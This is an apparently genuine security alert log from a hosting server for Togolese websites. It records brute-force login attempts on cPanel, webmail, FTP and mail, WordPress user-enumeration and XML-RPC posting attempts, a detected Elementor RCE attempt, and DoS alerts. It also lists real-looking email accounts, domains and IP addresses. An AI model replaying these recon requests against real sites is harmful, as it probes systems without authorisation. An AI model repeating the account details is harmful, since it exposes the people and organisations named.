[2026-06-25 11:02:59 +0000] info [webmaild] 196.168.0.186 - wages@wages.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 11:05:36 ns5 pure-ftpd[472464]: (?@134.122.27.233) [WARNING] Authentication failed for user [yvwaocrr]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.241.16
country_id: 6252001
domain: haplucia-togo.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.45.63.123
country_id: 102358
description:
[2026-06-25 11:06:53 +0000] info [cpaneld] 176.45.63.123 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 154.243.84.100
country_id: 2589581
description:
[2026-06-25 11:06:54 +0000] info [cpaneld] 154.243.84.100 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.191.45.99
country_id: 1562822
description:
[2026-06-25 11:07:19 +0000] info [cpaneld] 14.191.45.99 - al "GET /login/?login_only=1&user=al&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user al (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.98.1.41
country_id: 290557
description:
[2026-06-25 11:06:56 +0000] info [cpaneld] 92.98.1.41 - alerte "GET /login/?login_only=1&user=alerte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alerte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.56.66
country_id: 2017370
description:
[2026-06-25 11:07:06 +0000] info [cpaneld] 95.24.56.66 - aler "GET /login/?login_only=1&user=aler&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aler (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.122.252.139
country_id: 1210997
description:
[2026-06-25 11:06:59 +0000] info [cpaneld] 103.122.252.139 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.142.158.151
country_id: 1733045
description:
[2026-06-25 11:06:34 +0000] info [cpaneld] 161.142.158.151 - togomedi "GET /login/?login_only=1&user=togomedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.211.215.2
country_id: 1733045
description:
[2026-06-25 11:06:29 +0000] info [cpaneld] 113.211.215.2 - togomedia24tg "GET /login/?login_only=1&user=togomedia24tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24tg (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 11:06:44 ns5 pure-ftpd[472898]: (?@134.122.27.233) [WARNING] Authentication failed for user [bighostingsnbd]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.233.92
country_id: 1733045
description:
[2026-06-25 11:06:46 +0000] info [cpaneld] 175.142.233.92 - togom "GET /login/?login_only=1&user=togom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togom (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 102.64.220.39
country_id: 2363686
domain: togodailynews.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.20||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 11:10:30 +0000] info [webmaild] 160.242.195.10 - gndong@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-25 11:11:24 +0000] info [webmaild] 196.168.0.186 - wages@wages.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.226.18
country_id: 3469034
description:
Jun 25 11:12:08 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.226.18 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.45.12.146
country_id: 2017370
description:
[2026-06-25 11:12:21 +0000] info [cpaneld] 46.45.12.146 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 11:12:08 +0000] info [webmaild] 160.242.195.10 - kanku@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-25 11:11:22 +0000] info [webmaild] 196.170.45.140 - wages@wages.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-25 11:12:04 +0000] info [cpaneld] 102.54.238.57 - pduusmyf "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.243.80
country_id: 3625428
description:
[2026-06-25 11:12:30 +0000] info [cpaneld] 190.114.243.80 - daulatg "GET /login/?login_only=1&user=daulatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user daulatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.243.181.108
country_id: 1562822
description:
[2026-06-25 11:12:40 +0000] info [cpaneld] 171.243.181.108 - dau "GET /login/?login_only=1&user=dau&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dau (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.0.48.250
country_id: 2017370
description:
[2026-06-25 11:12:43 +0000] info [cpaneld] 151.0.48.250 - da "GET /login/?login_only=1&user=da&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user da (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.45.140
country_id: 2363686
description:
[2026-06-25 11:12:57 +0000] info [webmaild] 196.170.45.140 - wages@wages.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.208.150.22
country_id: 3469034
description:
[2026-06-25 11:14:15 +0000] info [cpaneld] 186.208.150.22 - ekeasarlcom "GET /login/?login_only=1&user=ekeasarlcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasarlcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.97.2.56
country_id: 1527747
description:
[2026-06-25 11:14:08 +0000] info [cpaneld] 212.97.2.56 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.97.174.56
country_id: 2017370
description:
[2026-06-25 11:14:11 +0000] info [cpaneld] 176.97.174.56 - ekeasarl "GET /login/?login_only=1&user=ekeasarl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasarl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.56.191.210
country_id: 953987
description:
[2026-06-25 11:14:19 +0000] info [cpaneld] 41.56.191.210 - ekeasar "GET /login/?login_only=1&user=ekeasar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.105.147.37
country_id: 3625428
description:
[2026-06-25 11:14:22 +0000] info [cpaneld] 143.105.147.37 - ekeasa "GET /login/?login_only=1&user=ekeasa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ekeasa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.32.255.150
country_id: 99237
description:
[2026-06-25 11:14:34 +0000] info [cpaneld] 213.32.255.150 - eke "GET /login/?login_only=1&user=eke&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user eke (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.159.75.49
country_id: 1814991
description:
27.159.75.49 - - [25/Jun/2026:11:15:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118039&pdata=http%253A%252F%252Ftdn.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782386105 HTTP/1.1" 302 0 tdn.tg "http://tdn.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.159.75.49


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.87.247.65
country_id: 2077456
description:
Denial of Service (DoS) attack was discovered from 34.87.247.65: 80 connections per 30 seconds to 2096 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.63.211.35
country_id: 3469034
description:
[2026-06-25 11:14:40 +0000] info [cpaneld] 187.63.211.35 - ek "GET /login/?login_only=1&user=ek&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ek (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.140.232.102
country_id: 719819
description:
Jun 25 11:15:49 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.140.232.102 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.243.160
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:104.245.243.160||TA:104.245.243.160||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.174.62.60
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.174.62.60: 80 connections per 30 seconds to 2096 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 136.118.35.239
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 136.118.35.239: 80 connections per 30 seconds to 2096 port.


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 146.247.137.88
country_id: 3144096
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.84.63.69
country_id: 3865483
description:
[2026-06-25 11:19:13 +0000] info [cpaneld] 138.84.63.69 - educplus "GET /login/?login_only=1&user=educplus&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplus (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.92.169.158
country_id: 3996063
description:
[2026-06-25 11:19:05 +0000] info [cpaneld] 200.92.169.158 - educplusmedia "GET /login/?login_only=1&user=educplusmedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.51.201.154
country_id: 102358
description:
[2026-06-25 11:19:16 +0000] info [cpaneld] 188.51.201.154 - educplu "GET /login/?login_only=1&user=educplu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.236.36.186
country_id: 285570
description:
[2026-06-25 11:19:20 +0000] info [cpaneld] 188.236.36.186 - educpl "GET /login/?login_only=1&user=educpl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educpl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.185.68.104
country_id: 1562822
description:
[2026-06-25 11:19:08 +0000] info [cpaneld] 14.185.68.104 - educplusmediatg "GET /login/?login_only=1&user=educplusmediatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmediatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.74.174.167
country_id: 1733045
description:
[2026-06-25 11:19:01 +0000] info [cpaneld] 180.74.174.167 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.164.33.122
country_id: 1733045
description:
[2026-06-25 11:19:28 +0000] info [cpaneld] 115.164.33.122 - educ "GET /login/?login_only=1&user=educ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educ (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:89298.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:71836d04aae8e67fe29b426a2a08529c7f3adec8||Title:0x6615453c||RSV:8.20||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.58.124
country_id: 2363686
description:
[2026-06-25 11:20:58 +0000] info [webmaild] 196.171.58.124 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 11:21:05 +0000] info [webmaild] 160.242.195.10 - secretariat_dr@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 134.122.27.233
country_id: 6252001
description:
Jun 25 11:22:06 ns5 pure-ftpd[480972]: (?@134.122.27.233) [WARNING] Authentication failed for user [$GpnYD6]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0fbf437a867c0fc6f4b38921a30e1d3002483f4b||Title:0x23f7febc||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 11:24:05 +0000] info [webmaild] 160.242.195.10 - secretariat_dr@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 25 11:24:22 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:25bedde591602ca86e3a4ec8d80d2164f6ee5036||Title:0xd9880cc6||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 25 11:24:38 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-25 11:24:59 +0000] info [webmaild] 160.242.195.10 - secretariat_dr@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dc28dc22a386f9fdbecbeb4c3518510ecb4f2b51||Title:0x71f4b29a||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1101d618b7728733b757856811d3dc30f23727b0||Title:0xa9249b9b||RSV:8.20||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 25 11:27:07 ns5 auth[161607]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:20c66125879283718213c3568629bb68cb427a06||Title:0x1f72892f||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bfbf5c7b0733c651cf1fb1c63b3f5997187ba6e9||Title:0xf6d7121d||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.139
country_id: 1880251
description:
43.172.198.139 - - [25/Jun/2026:11:28:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591901&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fflash-info%25252Fcoronavirus-un-detenu-teste-positif-sevade-du-chr-lome-commune%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782386927 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2F24heureinfo.tg%2Fflash-info%2Fcoronavirus-un-detenu-teste-positif-sevade-du-chr-lome-commune%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.139


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb67e81141861c5e95be8bc08da61115ce276850||Title:0x6d6d7dce||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0f439c361eafc1ab4a569dbb27be290972bb39c0||Title:0x8b2e42ca||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d11bbb95ae9e6912b489ca5227df99270682c45||Title:0xd0e0197d||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.127.226.53
country_id: 2510769
description:
[2026-06-25 11:32:10 +0000] info [cpaneld] 86.127.226.53 - lesnid "GET /login/?login_only=1&user=lesnid&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnid (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.0.211.209
country_id: 2921044
description:
[2026-06-25 11:32:02 +0000] info [cpaneld] 89.0.211.209 - lesnidsu "GET /login/?login_only=1&user=lesnidsu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.46.116.209
country_id: 2017370
description:
[2026-06-25 11:32:16 +0000] info [cpaneld] 178.46.116.209 - lesn "GET /login/?login_only=1&user=lesn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesn (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.50.24.14
country_id: 1835841
description:
Denial of Service (DoS) attack was discovered from 34.50.24.14: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.148.235.249
country_id: 1643084
description:
103.148.235.249 - - [25/Jun/2026:11:31:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973845&pdata=https%253A%252F%252Fcfpj.tg%252Fvivu-72202oitems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782387097 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/vivu-72202oitems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.148.235.249


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.155.124.119
country_id: 2017370
description:
[2026-06-25 11:32:13 +0000] info [cpaneld] 178.155.124.119 - lesni "GET /login/?login_only=1&user=lesni&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesni (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.73.112.37
country_id: 290557
description:
[2026-06-25 11:31:52 +0000] info [cpaneld] 91.73.112.37 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.90.182.130
country_id: 2921044
description:
[2026-06-25 11:31:55 +0000] info [cpaneld] 95.90.182.130 - lesnidsurbains "GET /login/?login_only=1&user=lesnidsurbains&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lesnidsurbains (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.179.144.178
country_id: 3469034
description:
[2026-06-25 11:32:20 +0000] info [cpaneld] 45.179.144.178 - les "GET /login/?login_only=1&user=les&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user les (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.223.188.118
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.tg.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7d44abe632d08afa9cf49b00a68400ed949184a0||Title:0xe4c82a02||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 132.255.114.157
country_id: 3865483
description:
[2026-06-25 11:32:25 +0000] info [cpaneld] 132.255.114.157 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.210.24.192
country_id: 2017370
description:
2026-06-25 11:32:41 dovecot_plain authenticator failed for H=([69.172.210.47]) [91.210.24.192]:20208: 535 Incorrect authentication data (set_id=support@cafeit.tg)


plugin: modsec
rule: 77350027
name: IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)
abuser: 41.207.181.198
country_id: 2363686
domain: ave2.mairie.tg
description:
IM360 WAF: RCE Vulnerability in Elementor WordPress Plugin (CVE-2022-1329)||WPU:admin_tp9ucocx||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.58.190.182
country_id: 1269750
description:
152.58.190.182 - - [25/Jun/2026:11:33:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909035&pdata=https%253A%252F%252Fcpanel.anadeb.free.netmaster.tg%252F%253Flocale%253Dtr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782387201 HTTP/2.0" 302 0 cpanel.anadeb.free.netmaster.tg "https://cpanel.anadeb.free.netmaster.tg/?locale=tr" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.58.190.182


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.154.98.82
country_id: 2750405
description:
[2026-06-25 11:34:11 +0000] info [whostmgrd] 45.154.98.82 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID 3nnrgy) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.154.98.82
country_id: 2750405
description:
[2026-06-25 11:34:13 +0000] info [whostmgrd] 45.154.98.82 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
